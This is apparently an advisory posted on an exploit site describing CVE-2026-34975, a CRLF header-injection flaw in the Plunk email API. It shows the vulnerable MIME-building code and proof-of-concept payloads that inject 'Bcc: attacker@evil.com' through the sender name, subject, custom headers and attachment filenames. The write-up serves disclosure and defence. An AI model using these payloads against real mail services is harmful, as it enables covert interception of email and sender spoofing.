## https://sploitus.com/exploit?id=625A1290-B999-5DE8-A515-F82DE126BAE4
# CVE-2026-34975 โ CRLF Email Header Injection in Plunk via raw MIME construction
**Severity**: High (CVSS 8.5)
**CWE**: CWE-93 โ Improper Neutralization of CRLF Sequences ('CRLF Injection')
**Affected**: `useplunk/plunk` (all versions prior to fix)
**Advisory**: GHSA
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
---
## TL;DR
Plunk's `POST /v1/send` endpoint constructs a raw MIME email message by interpolating user-supplied fields (`from.name`, `subject`, custom headers, attachment filenames) directly into a template string without CRLF (`\r\n`) sanitization. An authenticated API user can inject arbitrary email headers โ including `Bcc` โ to silently redirect email copies to attacker-controlled addresses.
---
## Affected component
**File**: `apps/api/src/services/SESService.ts`, lines 137โ151
```typescript
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} \r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
```
**Zod schema** (`packages/shared/src/schemas/index.ts`) โ no CRLF validation:
```typescript
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
```
---
## Root cause
Raw MIME construction requires that every user-supplied value be stripped of `\r\n` before interpolation. Plunk builds the message with template literals and does not sanitize any of the four injectable fields. SMTP parsers interpret `\r\n` as a header boundary, so injecting `\r\nBcc: attacker@evil.com` into `from.name` adds a real `Bcc` header to the outgoing message.
---
## PoC
See [`poc.py`](./poc.py) for a full demonstration with four injection vectors.
**Core payload โ Bcc injection via `from.name`:**
```python
payload = {
"to": "victim@example.com",
"subject": "Legit email",
"body": "Nothing to see here.",
"from": {
"name": "Legit Sender\r\nBcc: attacker@evil.com",
"email": "verified@yourdomain.com",
},
}
```
Raw MIME produced by SES:
```
From: Legit Sender
Bcc: attacker@evil.com
To: victim@example.com
Subject: Legit email
```
SES delivers a silent copy to `attacker@evil.com` with every email sent through the compromised API key.
**Other injection vectors:**
- `subject`: `"Legit Subject\r\nBcc: attacker@evil.com"`
- Custom header value: `{"X-Custom": "value\r\nBcc: attacker@evil.com"}`
- Attachment filename: MIME boundary injection
---
## Impact
1. **Silent email redirection** โ BCC any outgoing email to an attacker-controlled address
2. **Email spoofing** โ override `Reply-To`, `Return-Path`, `Sender` headers
3. **MIME structure corruption** โ inject arbitrary MIME parts via attachment filename
4. Requires only a valid Plunk API key and a verified sender domain โ standard authenticated access
---
## Timeline
- **Discovery**: 2026-03-xx
- **Reported**: GHSA private advisory
- **CVE published**: CVE-2026-34975